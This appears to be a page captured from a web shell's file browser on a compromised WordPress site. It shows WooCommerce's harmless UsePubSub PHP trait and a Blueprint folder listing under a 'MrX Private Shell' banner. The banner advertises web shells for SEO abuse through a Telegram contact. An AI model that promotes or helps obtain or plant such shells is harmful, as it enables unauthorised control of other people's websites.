__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\Blueprint;
trait UsePubSub {
/**
* Subscribers.
*
* @var array
*/
private array $subscribers = array();
/**
* Subscribe to an event with a callback.
*
* @param string $event The event name.
* @param callable $callback The callback to execute when the event is published.
* @return void
*/
public function subscribe( string $event, callable $callback ): void {
if ( ! isset( $this->subscribers[ $event ] ) ) {
$this->subscribers[ $event ] = array();
}
$this->subscribers[ $event ][] = $callback;
}
/**
* Publish an event to all subscribers.
*
* @param string $event The event name.
* @param mixed ...$args Arguments to pass to the callbacks.
* @return void
*/
public function publish( string $event, ...$args ): void {
if ( ! isset( $this->subscribers[ $event ] ) ) {
return;
}
foreach ( $this->subscribers[ $event ] as $callback ) {
call_user_func( $callback, ...$args );
}
}
/**
* Unsubscribe a specific callback from an event.
*
* @param string $event The event name.
* @param callable $callback The callback to remove.
* @return void
*/
public function unsubscribe( string $event, callable $callback ): void {
if ( ! isset( $this->subscribers[ $event ] ) ) {
return;
}
$this->subscribers[ $event ] = array_filter(
$this->subscribers[ $event ],
fn( $subscriber ) => $subscriber !== $callback
);
if ( empty( $this->subscribers[ $event ] ) ) {
unset( $this->subscribers[ $event ] );
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Cli | Folder | 0775 |
|
|
| Exporters | Folder | 0775 |
|
|
| Importers | Folder | 0775 |
|
|
| ResourceStorages | Folder | 0775 |
|
|
| ResultFormatters | Folder | 0775 |
|
|
| Schemas | Folder | 0775 |
|
|
| Steps | Folder | 0775 |
|
|
| docs | Folder | 0775 |
|
|
| BuiltInExporters.php | File | 474 B | 0664 |
|
| BuiltInStepProcessors.php | File | 1.81 KB | 0664 |
|
| ClassExtractor.php | File | 6.05 KB | 0664 |
|
| Cli.php | File | 1.78 KB | 0664 |
|
| ExportSchema.php | File | 4.3 KB | 0664 |
|
| ImportSchema.php | File | 2.34 KB | 0664 |
|
| ImportStep.php | File | 4.46 KB | 0664 |
|
| Logger.php | File | 4.07 KB | 0664 |
|
| ResourceStorages.php | File | 1.45 KB | 0664 |
|
| StepProcessor.php | File | 680 B | 0664 |
|
| StepProcessorResult.php | File | 3.56 KB | 0664 |
|
| UsePluginHelpers.php | File | 3.13 KB | 0664 |
|
| UsePubSub.php | File | 1.51 KB | 0664 |
|
| UseWPFunctions.php | File | 9.72 KB | 0664 |
|
| Util.php | File | 4.39 KB | 0664 |
|